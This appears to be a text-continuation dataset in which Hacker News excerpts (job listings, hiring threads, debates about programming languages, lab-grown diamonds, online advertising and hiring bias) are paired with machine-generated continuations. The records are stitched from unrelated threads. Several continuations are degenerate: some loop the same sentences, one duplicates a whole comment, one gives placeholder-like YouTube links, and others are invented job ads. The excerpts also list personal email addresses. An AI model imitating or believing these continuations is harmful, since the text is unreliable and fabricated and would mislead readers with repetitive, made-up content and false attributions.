problem? Say, a plugin that allows a\none-click publish code + data from Matlab, and then it all goes up on a well-\nindexed page so that others can download/run it.\n\n~~~\nsimonster\nI doubt the problem is that academic CS researchers don't know how to publish\ntheir code, but rather that the disincentives are usually stronger than the\nincentives.\n\n~~~\ncbhl\nIs there even code to publish? I am under the impression a lot of papers from\nBugzilla data are of the form \"we imported the data into Excel and had a hand-\ncrafted one-off spreadsheet\".\n\n~~~\njcrites\nIn that case, yes: the spreadsheet itself consists of data and analysis over\ndata (aggregations over columns and rows, etc.) so the spreadsheet itself\nwould ideally be version controlled and published.\n\nThe idea isn't to ask researchers to formalize what they make more than\nbefore, but to include fully reproducible details in the publication. A\nspreadsheet is totally fine because you can see how it works, reproduce the\nresult, and tweak the inputs/methods to build on it.\n\n------\nskybrian\nIt seems like politely writing to the researchers and asking if they still\nhave the code lying around might have good results. (If nothing else, it lets\nthem know someone cares.)\n\n~~~\nclintonb\nA colleague was working on a replication study. We got the code from the\noriginal researcher and another researcher who did a follow-on study. The code\nbarely runs, and the results"} +{"output_text": "com/parasight](https://github.com/parasight)\n\n------\njames-fend\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Python, Django, Flask, Javascript, React, React Native,\nPostgreSQL, MySQL, AWS, Docker, Ansible, AWS, Linux, Git, Bash, SQL, HTML,\nCSS, SASS, Bootstrap, jQuery", "input_text": " our server's Java\nbackend involving large volume data processing with Redis and PostgreSQL. If\nyou are interested in working with me, please feel free to contact me.\n\n------\nJJDeviloper\n\n Location: Just North of San Francisco, CA\n Remote: Open\n Willing to relocate: Open\n Technologies: Scala, Ruby on Rails, C++, Java, Python, JavaScript, JQuery, Node.js, Unity Engine, Unreal Engine, Android\n R\u00e9sum\u00e9/CV: http://bit.ly/JJ_Reibel_Portfolio\n Email: jj_reibel@aol.com\n\nI'm a Software Engineer, Full Stack Web Engineer, and Game Designer with\ndecades of independent experience using many technologies, with only my most\nused being listed. I have experience working with teams and I'm looking for a\nrole at either a large company or a start-up.\n\n------\nparasight\nLocation: Berlin\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: C++, C, Make, CMake, Golang, Erlang, JavaScript (Node.js),\nJava/Kotlin (Android), Android NDK, Objective-C/Swift (iOS), Linux, macOS,\nAWS, network protocols\n\nR\u00e9sum\u00e9/CV: On request\n\nEmail: hackphonic@gmail.com\n\nI'm looking for part-time contract/freelance/consulting opportunities.\n\nHow can I help?\n\n\\- Design and implement new features.\n\n\\- Find and fix difficult bugs.\n\n\\- Analyze and optimize performance issues.\n\n\\- Reduce the technical debt in your code.\n\nGitHub: [https://github."} +{"output_text": " on, I thought this was about the productivity of the US economy.\n\n------\njoshuaheard\nI think the author is missing the point. The productivity of the US economy\nhas been increasing for decades. The problem is that the US economy is\nincreasingly becoming a service economy.\n\n------\njoshuaheard\nI think the author is missing the point. The productivity of the US economy\nhas been increasing for decades. The problem is that the US economy is", "input_text": "'t contribute to a more productive labour force.\nIf investments in education do not increase labour productivity (as predicted\nby nearly every model of labour economics), then what measures do affect\nproductivity?\n\nThe \"education system\" is not an education system. It is a selection system\nused to choose who gets one of the at any one tine limited number of jobs.\nIncreasing the number of people in that selection system makes it less\neffective, hence the lowered value of a degree, the need for internships, and\nincreased stress on personal networks for finding jobs.\n\n~~~\napi_or_ipa\nYour argument is absurd. You're implying the job market for university\neducated workers is perfectly inelastic and each successive degree holder\nproduces _no_ extra value on the margin. Moreover, you make the baseless\nassumption that competition amongst more candidates for skilled work produces\nno further value-- in other words, every worker is just as skilled.\n\nThere are many more plausible reasons that don't have to invoke such strong\nassumptions on the education and skilled workforce markets.\n\nCultural, social and political differences, a lower population density et al.\n\n------\nsbov\nMaybe I'm off base, but why would we necessarily expect great productivity\ngains? The late 90's to early 2000's was a time when computers become\nubiquitous. Yes, there are smart phones and tablets now, but the difference\nbetween \"by hand\" and \"by computer\" is far larger than \"by PC\" and \"by\ntablet\".\n\n------\nsnowwrestler\nWell duh; most of what Silicon Valley builds are not productivity tools. If\nanything they build anti-productivity tools like social media and\nentertainment.\n\n------\narjie\nHang"} +{"output_text": " on the camera, I\ndon't think it's a good idea to have a camera that can do that.\n\nThe camera is a tool for taking pictures, not a tool for post-processing.\n\n~~~\nygra\nI agree, but I think it's a good idea to have a camera that can do that.\n\nI'm not saying that it should be the default, but I think it's a good idea to\nhave a camera that can do that.", "input_text": " National Park, and wait for a clear night it's never going to look in\nyour eye like it does on Instagram. Don't get me wrong, what you do see is\nabsolutely magnificent, it's just not what's in those pictures.\n\nSeeing the galaxy with your own eyes is one of the most majestic things you'll\never witness. It's something that has inspired spontaneous prayer throughout\nhistory. It doesn't really need a filter.\n\n------\njakecopp\nIf all the advancements in smartphone photography is in software, why aren't\nDSLR/mirrorless manufactures doing it too?\n\nI don't want my camera to have a touchscreen/social media/wifi but it'd be\ncool if Adobe Camera Raw/some alternative could do this stuff!\n\n~~~\nygra\nIMHO they've basically missed an opportunity here for many years. They'd be in\na perfect position to offer those things, combined with a much better/larger\nsensor, which enables even better images. On smartphones it's a matter of\nnecessity, as the sensor is (fairly) crappy in comparison, but on a DSLR it\ncould still be a benefit. Personally I'd be perfectly happy to get a pre-\nprocessed DNG from the camera instead of having to do this afterwards. And\nthen give me the raw files to do it manually as well.\n\nPerhaps they're trying not to cannibalize their lower market segments or think\nthat professionals would never use those things (on which they _might_ be\ncorrect). But I can definitely see that computational photography beyond\nraw->JPEG conversion with a color profile could have its place in a DSLR.\n\n~~~\nSiempreViernes\nWhile it would be nice to load some post-processing script"} +{"output_text": " point\n([http://www.artima.com/weblogs/viewpost.jsp?thread=149900](http://www.artima.com/weblogs/viewpost.jsp?thread=149900))\n\n------\njamesjyu\nI've been using Scala for a few years now, and I've found it to be a great\nlanguage. I've been using it for a few projects, and I've found it to be\n", "input_text": "com/scalatour](http://naildrivin5.com/scalatour) although\nit's 2.8 rather than the current 2.12.\n\nFor style guide, I'd go with Li Hiayo's blog, notably the Strategic Style\nseries:\n[http://www.lihaoyi.com/post/StrategicScalaStylePracticalType...](http://www.lihaoyi.com/post/StrategicScalaStylePracticalTypeSafety.html)\n\n------\nmosqutopi\nI read scala for the impatience, but once you know clojure, haskell, erlang\nand other languages the scala language seems to be one more language, a better\njava but nothing that really surprise you. I know that using scala you can\nmake your programs very difficult to read using obscure notations for\noperators. I like to use scala as a repl for exploring java classes, a little\nmore useful that clojure in this regard.\n\n------\ngh0zt\nAs you are asking for books \\- Scala for the impatient\n([http://www.horstmann.com/scala/](http://www.horstmann.com/scala/)) \\-\nProgramming in Scala\n([https://booksites.artima.com/programming_in_scala_3ed](https://booksites.artima.com/programming_in_scala_3ed))\n\nI found those books very good resources. The Scala website lists a few others\n([https://www.scala-lang.org/documentation/books.html](https://www.scala-\nlang.org/documentation/books.html))\n\nAprt from that I found Daniel Westheides blog a very good starting"} +{"output_text": "ired... to Self-Destruct (LP -0.8)[2]\n\n[1]\n[https://www.youtube.com/watch?v=9_1_1_1_8k](https://www.youtube.com/watch?v=9_1_1_1_8k)\n\n[2]\n[https://www.youtube.com/watch?v=9_1_1_1_8k](https", "input_text": " their friends, effectively\nadvertising the service.\n\nCons: each playback means bandwidth + royalties cost.\n\nSo the question is, does the probability times the return from their friends\nbring more money than the free playbacks? I'd really like to know the answer.\n\n------\np1mrx\nIt's hard to trust a service like this without some information on where they\npull the numbers from. How did they determine which normalization algorithm\neach service uses?\n\nThe \"give us your email address for more information\" part also seems slimy.\n\n~~~\nikerr\nTIDAL has openly said that they are using -14 LUFS for normalization while\nSpotify has said they are using ReplayGain. The other platforms required more\ninvestigation, and we're continuing to refine the estimates, but we feel that\nwe've gotten pretty close.\n\n------\nrcthompson\nI'm confused about why this website is using the word \"penalty\" to describe\nthe process of normalizing songs to have the same loudness.\n\n~~~\njtbayly\nFrom the email they sent when I put in a sample song and asked for the more\ndetailed analysis:\n\n\"Since streaming services are going to turn loud music down anyway, more and\nmore people are deciding they would prefer to take control of this process\nthemselves, and optimize their music for the best possible results.\"\n\nand\n\n\"We recommend avoiding very large negative LP values, especially on YouTube\nbecause songs like this often sound \u201csmaller\u201d than those with LP scores closer\nto zero.\n\nHear it for yourself For example, compare the loud sections of these two\nMetallica songs on YouTube - The Day That Never Comes (LP -5.8)[1] and\nHardw"} +{"output_text": " of the niceties of python, such as the\ndocumentation, the standard library, and the community.\n\n~~~\nbuckwild\nI'm not sure what you mean by \"niceties\". I'm not sure what you mean by\n\"standard library\". I'm not sure what you mean by \"community\".\n\nI'm not sure what you mean by \"niceties\". I'm not sure what you mean by\n\"standard library\". I'm not sure what you mean by \"", "input_text": "http://hackerne.ws/item?id=4062216> \" Eulerian Video Magnification for\nRevealing Subtle Changes in the World (mit.edu) 555 points by clockwork_189 57\ndays ago | comments \"\n\n------\nEzGraphs\nInteresting read. I think that the combination of Ruby (for data aggregation\nand preparation) and R (for calculation and visualization) is great. For\ninstance, in the related-but-not-exactly category:\n\n[http://www.r-chart.com/2010/10/max-heart-rate-\ncalculations-c...](http://www.r-chart.com/2010/10/max-heart-rate-calculations-\ncompared.html)\n\nIt seems like folks who use R tend to be from a scientific community where\nPython has greater respectability and acceptance. But I see some similar\n\"Lispiness\" in R and Ruby that make them somewhat natural to use in\nconjunction.\n\n~~~\nbuckwild\nI second this. I'm a scientist who also happens to program (as more of us are\nfinding we need to do). The two languages I use the most are R and Python.\nMost of the time, I don't even give Ruby a second thought because it seems to\nbe primarily geared towards web development. In general, I shy away from web\ndevelopment, but I know that Python is more than capable if I wanted to try it\nout. There really doesn't seem to be any incentive for us to learn Ruby.\n\n~~~\nJonnieCache\nThere is nothing in ruby that is geared towards web development, not any\nmoreso than python anyway. It just happens to be mostly used for that.\n\nRuby does however lack a lot"} +{"output_text": " decision.\n\n~~~\njoshu\nI'm not sure I agree. Promises are a great abstraction, but they are not\nenough.\n\nI've been using promises for a while now, and I still have to write a lot of\ncode that looks like this:\n\n \n \n function doSomething(callback) {\n // do something\n callback(null, result);\n }\n \n function doSomethingElse(callback) {", "input_text": " any Compiled language,\nand shouldn't be compared to them because that's unhelpful as a measure.\n\nit is the only language for the web which enables you to work in the same\nlanguage on both fronts.\n\nframeworks aren't JavaScript.\n\nnodejs isn't JavaScript.\n\nJavaScript is so flexible that it can be changed to suit the needs of those\nwriting it, so much so that you get whole new dsl's like typescript.\n\nthere are more conversations on the internet about JavaScript than any other\nlanguage being used today.\n\noh and nothing scales if you don't know how to write scalable software, that's\non you, not the language.\n\n------\nbschwindHN\nInteresting analysis. I just finished a year of using Node for implementing an\nHTTP API and a chat server, and found it to be actually pretty pleasant. I'm\nnot chasing the latest and greatest things, there's no ES6, no ORM, and I'm on\nan older version of Node. But it works and has actually been quite stable! The\nthings I've missed are static type checking at compile time, and execution\nspeed (which is less of an issue when you're talking with databases all the\ntime). I'd be happy to write in more detail if anyone has any questions, but I\nfound I had the opposite experience of this author. The situation makes all\nthe difference though.\n\n------\nChris911\nMost of the problems described in the articles can be solved by simply using\npromises. Error handling is centralized in your chain and any function can\nthrow and just like Python or Ruby you can catch anywhere you want. As for\nconsistency between callbacks, promises and generators, just pick one. We\nswitched from callbacks to promises and it was a great"} +{"output_text": "elery, Elasticsearch, Logstash, Kibana, Graphite, Sentry, Git, Jira,\nTravisCI, Sensu, nginx, uWSGI, MySQL, Oracle, MS SQL Server, MongoDB,\nCouchDB, DynamoDB, Elasticache, AWS, GCP, Azure.\n\nWe are looking for software engineers to join our team in London. Our ideal\ncandidate is someone who is comfortable with", "input_text": " and trusting. Our projects tend to be 1-2 engineers max so trust\nand accountability is required for us to work. Also helps us keep processes &\noverhead low. We appreciate that we've built a reasonably-sized, high-powered\nteam so far (55 employees incl. 30 engineers) and are always striving to be\nthe best place to work for them. We're looking for folks that love all of the\nabove and will help us keep our standards high.\n\nYou can go to www.hipmunk.com/jobs if you're interested!\n\n~~~\nmalhaar\nHey, You guys are doing amazing job! I did apply to hipmunk last month and\nawaiting reply. Should I apply again? Thanks!\n\n~~~\nnjay\nYes, please! You can send an email with your resume to jobs-2017@hipmunk.com\n\n------\nsuperscalar\nGambit Research Ltd ([http://gambitresearch.com](http://gambitresearch.com)) |\nLondon, UK | ONSITE | Full time\n\nAt Gambit we research and manage automated sports betting algorithms on behalf\nof our clients. Their algorithms run on our proprietary execution platform\nwhich interfaces with a large variety of bookmakers and exchanges, enabling\naccess to the best prices and massive liquidity.\n\nOur distributed, concurrent system has a core written in Erlang, which\ninteracts with a wide variety of Python processes across the rest of the\nbusiness. Some of the other technologies we use are: Linux (Ubuntu, CentOS),\nDocker, Kubernetes, Ansible, C, C++, Julia, R, Go, JavaScript, AngularJS,\nReactJS, Django, PostgreSQL, Redis, Apache Spark, Apache Kafka, RabbitMQ,\nC"} +{"output_text": "\nWe are a team of scientists, engineers, and clinicians who are passionate\nabout improving the lives of patients.\n\nWe are looking for a full-stack software engineer to join our team. You will\nbe working on a variety of projects, including our internal tools, our\ninternal and external APIs, and our web application.\n\nWe are looking for someone who is passionate about building software that\ndelivers value to our customers. You will be working with a team of\nexperienced", "input_text": "Engineer, Software Engineer, SQL Server DBA | Portland, Oregon | ONSITE\n\nInComm is hiring for many positions in the Portland office. We're in the\nstored value product industry (think gift cards), and many other financial\nproducts. We're using C#, React, RabbitMQ, Redis, and SQL Server, and any\nexperience with AWS or Docker is a bonus. Building out APIs to integrate a\nwide variety of customers and third parties. Free lunch and breakfast once a\nweek, located downtown, free parking or TriMet pass. Free snacks and\nhackathons once a year. Great atmosphere and opportunity to grow.\n\nLooking for:\n\n* Senior UI/UX designer to help us create designs for new and existing products. In this role you will collaborate with our product management and software development teams to turn ideas, use cases, and user stories into mockups, wireframes, and working software. * Senior Systems Engineer to assist with dev ops * Senior Software Engineer (.NET/client side with AngularJS or React) * Senior Database Engineer (SQL Server) - ideal candidate for this position with have experience performing enterprise reporting development in a Microsoft environment. You will be sharp, motivated, hardworking, and well versed in enterprise reporting tooling, frameworks, and best practices. Experience writing testable, scalable solutions is very important to us. * SQL Server DBA\n\nRelocation may be available for some positions. Email me at rfaaberg at incomm\ndot com with your cover letter and resume if you're interested.\n\n------\nlschweikert\nVirta Health | San Francisco, CA [Onsite] | FULL-TIME\n\nVirta is on a mission to cure the most complex chronic diseases by combining\nadvanced biochemistry, clinical expertise, data science, and digital tools."} +{"output_text": " in 2014. We are a small team of engineers and designers who\nlove to build products that make a difference in people's lives.\n\nWe are looking for an iOS engineer to join our team. You will be working on\nour iOS app, which is used by over a million people a month. You will be\nworking closely with our designers and product managers to build a great\nproduct.\n\nWe are a small team, so you will have a huge impact on the product.", "input_text": " performance computing, for\ncompiler design and implementation, or for distributed systems. Contributions\nto open source projects are also highly regarded.\n\nIf you are interested, please reach out at victor.nicollet@lokad.com (I'm the\nCTO) with your resume, and we will schedule a short interview over Skype,\nfollowed by an in-person interview in Paris. We are mostly looking for\ncandidates from Europe, but are willing to sponsor a visa for truly\nexceptional candidates.\n\n------\ndstillman\nZotero | Backend Developer | Fairfax, VA | REMOTE\n[https://www.zotero.org](https://www.zotero.org)\n\nZotero is an open-source project that develops software and web services to\nhelp people collect, organize, cite, and share their research. Our software is\nrecommended by most universities and used by millions of students, scholars,\nscientists, and researchers worldwide.\n\nWe're looking for a remote, full-time, contract developer to work on Zotero's\nserver-side architecture \u2014 our public API, backend services, AWS\ninfrastructure, etc. You\u2019ll be part of a small team producing free and open-\nsource software along with an amazing global community and help make a huge\ndifference in people's ability to manage their research effectively.\n\nMore details here: [https://www.zotero.org/jobs](https://www.zotero.org/jobs)\n\n------\nelwatto\nElevate (Apple App of the Year 2014) | iOS Engineer | San Francisco, CA |\nOnsite | elevateapp.com\n\nElevate is a cognitive training tool that was the recipient of Apple's App of\nthe Year award"} +{"output_text": " on top of a product\nthat you can sell.\n\nI think the idea is to build a product that is so good that people will pay\nfor it.\n\n------\npjmorris\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI'm looking for a designer to help me build a website. I'm not sure what\nspecific skills I need, but I'm looking for someone who can help me build a", "input_text": "durable/corrosion resistant/easily repairable effect?\n\n------\nfrandroid\nDid Fraunhofer just repurpose MP3 codecs to aluminium surface patterns?\n\n------\nDailyHN\nVery clever.\n\nAlso seems like something pulled from ancient aliens.\n\n~~~\nexcalibur\nI was thinking Tony Stark. \"How did you solve the icing problem?\"\n\n~~~\npjmorris\nNice. I'd drummed up Dr Evil, \"Mr. Powers, you'll notice that all the sharks\n(planes) have laser beams attached to their heads. I figure every creature\ndeserves a warm meal.\"\n\n \n\nWhat's the best way to find UI/graphic design company for a $10,000 budget? - andrewstuart\n\nIs there some site where you can say (for example) \"I have a $10K budget and I'd like to choose a designer to work with\"? And then designers respond with some expression of interest.

Note: not looking at crowdsourcing solutions, just a way to find one designer/design company to work with.\n======\ncalebcjb\nWe might be interested.\n\nPlease email me caleb@oxzenmedia.com\n\nLet me do a needs audit with you to see if we are the right fit for you.\n\n~~~\nandrewstuart\nSorry I should clarify - I am not asking for submissions, I'm asking if such a\nsite exists where buyers can state their budget and designers respond.\n\n \nThe 4-hour workweek for startups - pius\nhttp://www.mystealthstartup.com/2008/04/14/the-4-hour-workweek-for-startups/\n======\nflux\nThe book is mainly about building a business that sits"} +{"output_text": "'s better\nto use we.\n\n~~~\ndwightgunning\nThanks. I'll keep that in mind.\n\n------\nmattm\nI use we.\n\n~~~\ndwightgunning\nThanks.\n\n", "input_text": "'t forget that so easily. You may also find connected thoughts and\nideas too. These can have more value than the insight.\n\nI will carry one of these ideas around for some time. Quick is not always\ngood. A genuine insight can take some time, days, maybe weeks even, to play\nout.\n\nOf course, this does then bring up how to understand what is a waste of time\nand what is not.\n\nNo answer for you there. There is genuine risk in all things. You can abandon\na book that does not yield net improvements, but only after internalizing\nenough to understand.\n\n~~~\ndwightgunning\n> Realization does take some human time. That is where the really good stuff\n> is.\n\n> My best improvements have come from these activities and some new ideas to\n> process and understand what they mean in my context, not just the context in\n> which they were presented.\n\nI guess that's really the nut of it.\n\nThank you.\n\n \n\nAsk HN: I versus We - maguay\n\nWhen writing a post, newsletter, or really anything for your site, startup, or freelance job where you're the only author/worker/employee, is it best to use I or We? I struggle with whether to use I or we in blog posts when I'm the only writer on the site. On other sites I write for, I use we always, but on my own where there's no other person for the we, it seems odd.

Thoughts, Opinions? What do you usually do?\n======\nhighlander\nIf it seems odd, don't do it. If you're the only person, I think it"} +{"output_text": " a tree. The rings are imperfections\nand impurities, but they are still there.\n\n~~~\njpmattia\n> _Elemental impurities do add color (nitrogen=yellow, boron=blue), same as\n> mined diamonds, and faults and inclusions do naturally happen in the process_\n\nI'm not sure I understand this. I thought that the color of a diamond was\ndetermined by the ratio of carbon to nitrogen and boron.\n\n~~~", "input_text": " really the point.\n\nA diamonds primary value is the history of it's making. People are\nunfortunately always going to be paying more for a diamond which has been\ndigged out by hard labour than created in a lab.\n\nKeep in mind the value of diamonds is mostly a perceptive one. I am pretty\nsure if you only did synthetic diamonds it would soon fail to be valuable as\nthe \"womans best friend\"\n\n------\njpmattia\n> His lab can tell the difference \u2014 they use microscopes and other instruments\n> to look for subtle features that reveal a diamond's origin.\n\nWild guess as to why anyone can tell the difference: Lab-grown diamonds are\nmore perfect than mined ones. It's probably pretty trivial to introduce\nimpurities to degrade the color, or change the deposition temperature in order\nto create faults in the lattice. Hell, throw in a microparticle or two for\ninclusions.\n\nI'd love to know more though, anyone got a reference?\n\n~~~\nericfranklin\nDiamond growers try their best to keep out impurities and imperfections.\nElemental impurities do add color (nitrogen=yellow, boron=blue), same as mined\ndiamonds, and faults and inclusions do naturally happen in the process.\nHowever, at an atomic level, they are different than inclusions and\nimperfections in mined diamonds.\n\nAs a producer, I don't see any incentive to make them imperfect on purpose,\nyet still distinguishable from mined diamonds. All larger diamonds intended\nfor gemstones come with independent grading reports, which will still identify\nit as grown regardless of presence or lack of impurities and imperfections.\n\nWhile not technically correct, some of the advanced detection equipment can be\nthought of like looking at growth rings on"} +{"output_text": ".\n\n~~~\nmattmanser\nI'm not sure I'd say dying.\n\nI think it's more like a slow death.\n\nI think the ad industry is still very much alive, but it's not growing as\nquickly as it used to.\n\n~~~\nkeldaris\nI agree, but I think the ad industry is still growing, just not as quickly as\nit used to.\n\n------\nmattmanser\nI'm", "input_text": "50k income, denver, into football and skiing, etc) the ml lets you just..\nupload an ad and a web page. No targeting. Click GO and it will find your\ncustomers. If Google or facebook can get into this space they'll succeed\ngreatly because they have so much data and users already trust them.\n\n~~~\nmars4rp\ncan you please name those platforms???\n\n~~~\nsoared\nI'm at an agency and have access to some closed betas, but I've been pretty\nimpressed with StackAdapt for their native. They just added video and display\nI believe but I haven't used them. You do a little bit of manual targeting but\ntheir ml really does well.\n\n~~~\nfumar\nWhen you say \"does well,\" what type of goal or kpi are referring to?\n\n~~~\nsoared\nWhite paper downloads for elderly people. For some reason their interface\nunderreports conversions though. But we've tied their traffic directly to\npurchases! One note though.. like some other channels you're buying a mixed\nbag. There is a lot of low quality traffic, but the diamonds in the rough do\nmake up for it.\n\n------\nkeldaris\nSince there's rarely any widely interpretable public data available, articles\nlike this and many others are my best gauge for noting that even the Internet\nadvertising industry itself recognizes that it's dying. This is very pleasant\nto observe.\n\nPersonally, I can't remember the last ad I've seen while browsing. The\ncombination of AdBlock Origin (with a very generous combination of various\nblocklists), Ghostery / Privacy Badger and NoScript effectively renders most\nadtech useless. The few remnants that refuse to be blocked I happily skip\noutright rather than enable"} +{"output_text": ".\n\n~~~\nresoluteteeth\nI don't think that's a very good idea. Dart is a language that is designed to\nbe used in a browser, and it's not very good at that.\n\n~~~\nthrowawaydbfif\nI don't think it's a very good idea to replace JavaScript with Dart.\n\n------\njosteink\nI'm not sure if I'm missing something, but isn't this just a re-branded", "input_text": "://www.ifixit.com/Teardown/Nexus+5X+Teardown/51318#s112148)\n\n[3]\n[https://www.ifixit.com/Teardown/OnePlus+2+Teardown/45352#s10...](https://www.ifixit.com/Teardown/OnePlus+2+Teardown/45352#s100455)\n\n[4] [http://www.anandtech.com/show/7921/qualcomm-announces-\nmumimo...](http://www.anandtech.com/show/7921/qualcomm-announces-\nmumimo-80211ac-family-increasing-the-efficiency-of-80211ac-networks)\n\n[5] [https://github.com/fuchsia-mirror/drivers-gpu-msd-intel-\ngen/...](https://github.com/fuchsia-mirror/drivers-gpu-msd-intel-\ngen/blob/master/src/device_id.h)\n\n------\nresoluteteeth\nIs this an actual plan of Google as a company, or is this some sort of\nMicrosoft-style war between divisions where the Chrome team has just decided\non its own that the future is based on Chrome and Dart?\n\nAlso, considering the way that the ARC runtime for Chromebooks was a failure\nand had to be replaced by a system that apparently essentially runs Android in\na container, will it really be possible for a completely different OS to\nprovide reasonable backward compatibility?\n\n~~~\nthrowawaydbfif\nI would say that Google is trying to replace JavaScript with dart in any way\nthey possibly can"} +{"output_text": "blind audition) the blind audition was\nsignificantly more likely to get a callback than the non-blind audition.\n\n~~~\nlearc83\n>I am not going to get fully into it at the moment (but there's a ton of\nresearch on the topic) but we know that resumes that say Lakisha are\nsignificantly less likely to get a callback than a resume that says Karen.\n\nI'm not sure what you mean by \"significantly less likely to", "input_text": " money\nwhere the mouth is on the issue.\n\n~~~\nyummyfajitas\nStrangely, we are unwilling to apply that same logic to traditional hiring\nprocesses. I.e., few companies have ever done a study (sufficient to win in\ncourt) to prove that their subjective human opinion-based tests do not have a\ndisparate impact. Yet processes like this are somehow allowed.\n\nI.e., if my subjective human hiring technique is biased, you need to prove I\ndiscriminated on purpose. If my objective, IQ-based technique is biased, I\nneed to prove I didn't. Why this disparity?\n\n~~~\nlearc83\n>Why this disparity?\n\nFor the simple fact that we already have evidence that some protected classes\nperform worse on IQ tests. Therefore, simply by using an IQ test you are\ndiscriminating against a protected class. The burden is on you to prove that\nthe discrimination is necessary. No one needs to prove that discrimination is\nhappening because you are using a test that has already been show to be\ndiscriminatory.\n\nInterview based hiring techniques are much more varied than IQ tests, and they\nhave not been shown to be near universally discriminatory. Therefore the\nburden is first to prove that discrimination is happening in the particular\nsituation.\n\n~~~\n__z\n>they have not been shown to be near universally discriminatory.\n\nThey actually have...\n\nI am not going to get fully into it at the moment (but there's a ton of\nresearch on the topic) but we know that resumes that say Lakisha are\nsignificantly less likely to get a callback than a resume that says Karen.\n\nAnother example is blinding in orchestras. When the practice became the\napplicant played behind a curtain ("} +{"output_text": ":\n\n\n\n------\njrockway\nI'm not sure I understand the point of this. It's not like you can't build a\nsatellite in a hackerspace.\n\n~~~\npdelgallego\nThe point is to build a satellite in a hackerspace.\n\n~~~\njrockway\nI don't see how that's a point.\n\n~~~", "input_text": "impf\nThanks to emerging low-cost satellite launches (like from\n), fun projects like are\nalready in the real of being possible. I may be an hopeless optimist, but some\nrelatively low-bandwidth hacker-operated satellite network within 20 years is\nnot _totally_ impossible.\n\n~~~\neru\nIn twenty years, as long as you got something up, it will be high bandwidth\ncompared with today.\n\n------\nstcredzero\n_phase two: Put a hacker into orbit._\n\nPhase 2.5: console widow, figure out how to get him back down. Alternate phase\n2: send cat into space instead, start new meme and initiate hacker war with\nPETA. (jk)\n\n~~~\npdelgallego\nPhase 2 is already in progress.\n\nCheck out the Copenhagen Suborbitals guys, they launch succesfuly their first\nsuborbital rocket a month ago.\n\n\n\n~~~\ngimpf\nNice video on their page. I especially loved their \"caution fragile\" marker --\non a rocket!\n\n------\npeterwwillis\nConsidering how most hackers build stuff at hackerspaces (\"i don't know how to\nbuild this, so let's go with trial and error and learn as we go!\") this sounds\ndangerous.\n\nBut cool.\n\n------\nbinbasti\nBy the way, we'll set up a Ruby village at the Camp. Come and join us:\n\n\n\nYou can also just support our cause to spread some Ruby love"} +{"output_text": " lot of money to be made in news, and the news industry is\nincreasingly looking to the Internet to make that money.\"\n\nI don't think it's fair use.\n\n\"The Times is also trying to make money by selling ads on its Web site,\nwhich is a violation of the Digital Millennium Copyright Act.\"\n\nI don't think it's fair use.\n\n\"The Times is also trying to make money by selling ads on its Web site,\n", "input_text": " if you look at online newspapers as online services, then\nthey should be able to charge people for programmatic access to their service,\njust like any other tech service does through its API.\n\nIf I want to build an app on the back of Yahoo BOSS, I have to pay Yahoo.\n\nIf I want to build an app on the back of the New York Times, maybe I should\nhave to pay the New York Times.\n\n------\nsenthil_rajasek\nThis move may not be as naive as it may sound. Newspapers have built a user\nbase and loyalty over the years based on and presenting perspectives that suit\ntheir readership base.\n\nGoogle and other news aggregators break this ability of newspapers to \"present\na single perspective\" and often present headlines from WSJ and nytimes side by\nside.\n\nImagine the advantage newspaper sites would have if you HAVE to go to\nonline.wsj.com or nytimes.com to get your news instead of google.com/news or\nanother aggregator.\n\n~~~\ndschobel\nYou _do_ have to go to those sites to get your news. All you get from Google\nNews is a two sentence blurb and maybe a thumbnail image.\n\n~~~\nsenthil_rajasek\nNot without reading or having been exposed to an alternate view point in the\nthe cluster of headlines presented by aggregators...\n\n~~~\ndschobel\nAnd what exactly is so pernicious about an alternate view point?\n\n------\nnjharman\n\"usually headlines and a sentence or two is allowed under the legal doctrine\nof fair use. News organizations have been reluctant to test that idea in\ncourt\"\n\nYeah, cause it almost certainly is fair use.\n\n\"There\u2019s a"} +{"output_text": " you're interested in, we'd love to hear from you.\n\nApply here: [https://www.dailyburn.com/jobs/software-\nengineer/](https://www.dailyburn.com/jobs/software-engineer/)\n\n------\njamesjguthrie\nGuthrie | London, UK | Full-time | ONSITE\n\nGuthrie is a digital agency that helps brands and agencies build better\nwebsites. We work", "input_text": " users globally. Any questions what its like working with two teams\n(platform or android), shoot me an email: naveen@vsco.co\n\n------\ndumbfounder\nPlanetRisk | [http://planetrisk.com](http://planetrisk.com) | Mclean, VA\n(Washington, DC) | ONSITE\n\nWe are hiring.NET, Java, and big data developers. Full stack whenever\npossible!\n\n[http://www.planetrisk.com/about-us/careers/](http://www.planetrisk.com/about-\nus/careers/)\n\n------\ncasey_lang\nDaily Burn | Software Engineer, DevOps | New York, Austin | REMOTE (US Only)\n\nWe're looking to add a new member to our infrastructure team here at Daily\nBurn. We're still a small team so this role has a lot of responsibility and\nopportunity for growth. The team is responsible for keeping the site live and\ndeveloping tools to aid deployment. To do this we use:\n\n\\- Rails\n\n\\- Go\n\n\\- Ansible\n\n\\- The Hashicorp Stack (Terraform, Packer, Vagrant, Consul)\n\n\\- Google Cloud Platform\n\nIn the coming year our projects will include:\n\n\\- Ephemeral isolated staging environments\n\n\\- Chatops\n\n\\- Autoscaling\n\n\\- Vault integration\n\nDaily Burn is a fitness company with a focus on getting everyday people back\ninto shape. We have a live show we film daily as well as a back catalog of\nhundreds of original workouts. Everyday we get messages from users sharing the\nchanges they've made in their lives not every company can say the same. If\nfitness is an area"} +{"output_text": ".\n\nYou will be working with a small team of developers, designers and product\nmanagers to build a product that is used by hundreds of thousands of people\nevery month.\n\n== Requirements ==\n\n* You have a passion for building great products.\n\n* You have experience with React, Redux, Node.js, and Postgres.\n\n* You have experience with HTML, CSS, and JavaScript.\n\n* You have experience with Git and GitHub.", "input_text": "ll\ncollaborate with other developers, designers, project managers, and\nphotographers to build complex functionality\u2013all while being around some\nreally nice people. You\u2019ll determine appropriate tools, methods, and solutions\nfor projects, help inform project scope, and estimate effort to inform project\nmanagers in setting project schedule and deadlines. If you want to work with a\ncreative team of professionals to develop engaging, results-oriented online\nproducts for high-visibility, high priority areas of Boston University, we\nwant to hear from you!\n\nSee full descriptions and apply: [http://www.bu.edu/interactive-design/join-\nour-team/](http://www.bu.edu/interactive-design/join-our-team/)\n\n------\nduellsy\nelev.io | Melbourne, Australia | Frontend Developer | Full Time\n\n== About us ==\n\nelevio is a fast growing Australian based startup, specialising in customer\nsuccess software. Having gone through Australias top accelerator program\n(Startmate) in 2016, and successfully raising a seed round in July '16, we're\nfurther 